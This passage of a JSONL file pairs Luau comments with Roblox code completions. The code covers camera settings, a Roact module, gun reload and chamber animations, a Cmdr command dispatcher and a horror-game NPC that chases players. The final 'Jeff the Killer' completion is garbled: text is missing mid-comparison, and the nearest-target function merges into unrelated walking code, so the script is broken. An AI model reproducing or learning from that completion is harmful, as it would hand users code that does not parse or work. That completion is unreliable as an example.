then\n\t\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\t\t\tend\n\t\t\t\tcheck = true\n\t\t\tend\n\t\tend)\n\tend\nend)\n\ntool.Unequipped:connect(function()\n\tequipped = false\nend)\n\n"} +{"prompt": "-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about\n-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees", "completion": "\nlocal MIN_Y = math.rad(-80)\nlocal MAX_Y = math.rad(80)\n\nlocal VR_ANGLE = math.rad(15)\nlocal VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)\nlocal VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)\nlocal VR_LOW_INTENSITY_REPEAT = 0.1\nlocal VR_HIGH_INTENSITY_REPEAT = 0.4\n\nlocal ZERO_VECTOR2 = Vector2.new(0,0)\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\n\nlocal SEAT_OFFSET = Vector3.new(0,5,0)\nlocal VR_SEAT_OFFSET = Vector3.new(0,4,0)\nlocal HEAD_OFFSET = Vector3.new(0,1.5,0)\nlocal R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)\nlocal R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)\nlocal HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)\n\nlocal GAMEPAD_ZOOM_STEP = 10\nlocal GAMEPAD_ZOOM_STEP_1 = 0\nlocal GAMEPAD_ZOOM_STEP_2 = 10\nlocal GAMEPAD_ZOOM_STEP_3 = 20\n\nlocal ZOOM_SENSITIVITY_CURVATURE = 0.5\nlocal FIRST_PERSON_DISTANCE_MIN = 0.5\n\nlocal CameraUtils = require(script.Parent:WaitForChild(\"CameraUtils\"))\nlocal ZoomController = require(script.Parent:WaitForChild(\"ZoomController\"))\nlocal CameraToggleStateController = require(script.Parent:WaitForChild(\"CameraToggleStateController\"))\nlocal CameraInput = require(script.Parent:WaitForChild(\"CameraInput\"))\nlocal CameraUI = require(script.Parent:WaitForChild(\"CameraUI\"))\n"} +{"prompt": "--[=[\n\tSchedules a sustained shake to stop. This works by setting the\n\t`Sustain` field to `false` and letting the shake effect fade out\n\tbased on the `FadeOutTime` field.\n]=]", "completion": "\nfunction Shake:StopSustain()\n\tlocal now = self.TimeFunction()\n\tself.Sustain = false\n\tself.SustainTime = (now - self._startTime) - self.FadeInTime\nend\n"} +{"prompt": "-- Change cooldown based on speed", "completion": "\nhumanoid:GetPropertyChangedSignal(\"WalkSpeed\"):Connect(function()\n if humanoid.WalkSpeed <= 16 then\n cooldown = 0.62\n else\n cooldown = 0.3\n end\nend)\n"} +{"prompt": "--[[\n\tChange is used to generate special prop keys that can be used to connect to\n\tGetPropertyChangedSignal.\n\n\tGenerally, Change is indexed by a Roblox property name:\n\n\t\tRoact.createElement(\"TextBox\", {\n\t\t\t[Roact.Change.Text] = function(rbx)\n\t\t\t\tprint(\"The TextBox\", rbx, \"changed text to\", rbx.Text)\n\t\t\tend,\n\t\t})\n]]", "completion": "\n\nlocal Type = require(script.Parent.Parent.Type)\n\nlocal Change = {}\n\nlocal changeMetatable = {\n\t__tostring = function(self)\n\t\treturn (\"RoactHostChangeEvent(%s)\"):format(self.name)\n\tend,\n}\n\nsetmetatable(Change, {\n\t__index = function(self, propertyName)\n\t\tlocal changeListener = {\n\t\t\t[Type] = Type.HostChangeEvent,\n\t\t\tname = propertyName,\n\t\t}\n\n\t\tsetmetatable(changeListener, changeMetatable)\n\t\tChange[propertyName] = changeListener\n\n\t\treturn changeListener\n\tend,\n})\n\nreturn Change\n"} +{"prompt": "--//Client Animations", "completion": "\n\t\tIdleAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\t\tend;\n\t\t\n\t\tStanceDown = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tStanceUp = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\t\t\n\t\tPatrol = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tSprintAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tEquipAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.1)\n\t\t\tobjs[5].Handle:WaitForChild(\"AimUp\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\t\twait(0.5)\n\t\tend;\n\n\t\tChamberAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.165, -1.5) * CFrame.Angles(math.rad(-115), math.rad(-10), math.rad(10))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()\n\t\t\twait(0.35)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\tend;\n\n\t\tChamberBKAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.15)\n\t\tend;\n\t\t\n\t\tCheckAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(.35)\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(1.5)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tShellInsertAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Handle:WaitForChild(\"ShellInsert\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\tobjs[6].Value = objs[6].Value - 1\n\t\t\tobjs[7].Value = objs[7].Value + 1\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tReloadAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\twait(0.15)\n\t\t\t\n\t\t\tlocal MagZ = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagZ.Parent = objs[5]\n\t\t\t\tMagZ.Mag:Destroy()\n\t\t\t\tMagZ.Name = \"MagZ\"\n\t\t\t\tMagZ.Transparency = 0\n\t\t\t\tMagZ.Anchored = false\n\t\t\t\tMagZ.CanCollide = false\n\t\t\tgame.Debris:AddItem(MagZ, 5)\n\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\twait(0.5)\t\t\t\t\n\t\t\t\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(0.55)\n\t\tend;\n"} +{"prompt": "--[=[\n\t@class ClientComm\n\t@client\n]=]", "completion": "\nlocal ClientComm = {}\nClientComm.__index = ClientComm\n"} +{"prompt": "--- Runs hooks matching name and returns nil for ok or a string for cancellation", "completion": "\nfunction Dispatcher:RunHooks(hookName, ...)\n\tif not self.Registry.Hooks[hookName] then\n\t\terror((\"Invalid hook name: %q\"):format(hookName), 2)\n\tend\n\n\tfor _, hook in ipairs(self.Registry.Hooks[hookName]) do\n\t\tlocal value = hook.callback(...)\n\n\t\tif value ~= nil then\n\t\t\treturn tostring(value)\n\t\tend\n\tend\nend\n\nfunction Dispatcher:PushHistory(text)\n\tassert(RunService:IsClient(), \"PushHistory may only be used from the client.\")\n\n\tlocal history = self:GetHistory()\n\n\t-- Remove duplicates\n\tif Util.TrimString(text) == \"\" or text == history[#history] then\n\t\treturn\n\tend\n\n\thistory[#history + 1] = text\n\n\tTeleportService:SetTeleportSetting(HISTORY_SETTING_NAME, history)\nend\n\nfunction Dispatcher:GetHistory()\n\tassert(RunService:IsClient(), \"GetHistory may only be used from the client.\")\n\n\treturn TeleportService:GetTeleportSetting(HISTORY_SETTING_NAME) or {}\nend\n\nreturn function (cmdr)\n\tDispatcher.Cmdr = cmdr\n\tDispatcher.Registry = cmdr.Registry\n\n\treturn Dispatcher\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=9999e9999;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"Torso\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"Torso\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=40;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"Siren Head\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.Health=99999e99999;\nJeffTheKillerHumanoid.MaxHealth=99999e99999;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\ngame:GetService(\"PathfindingService\")\nend;\nend;"} 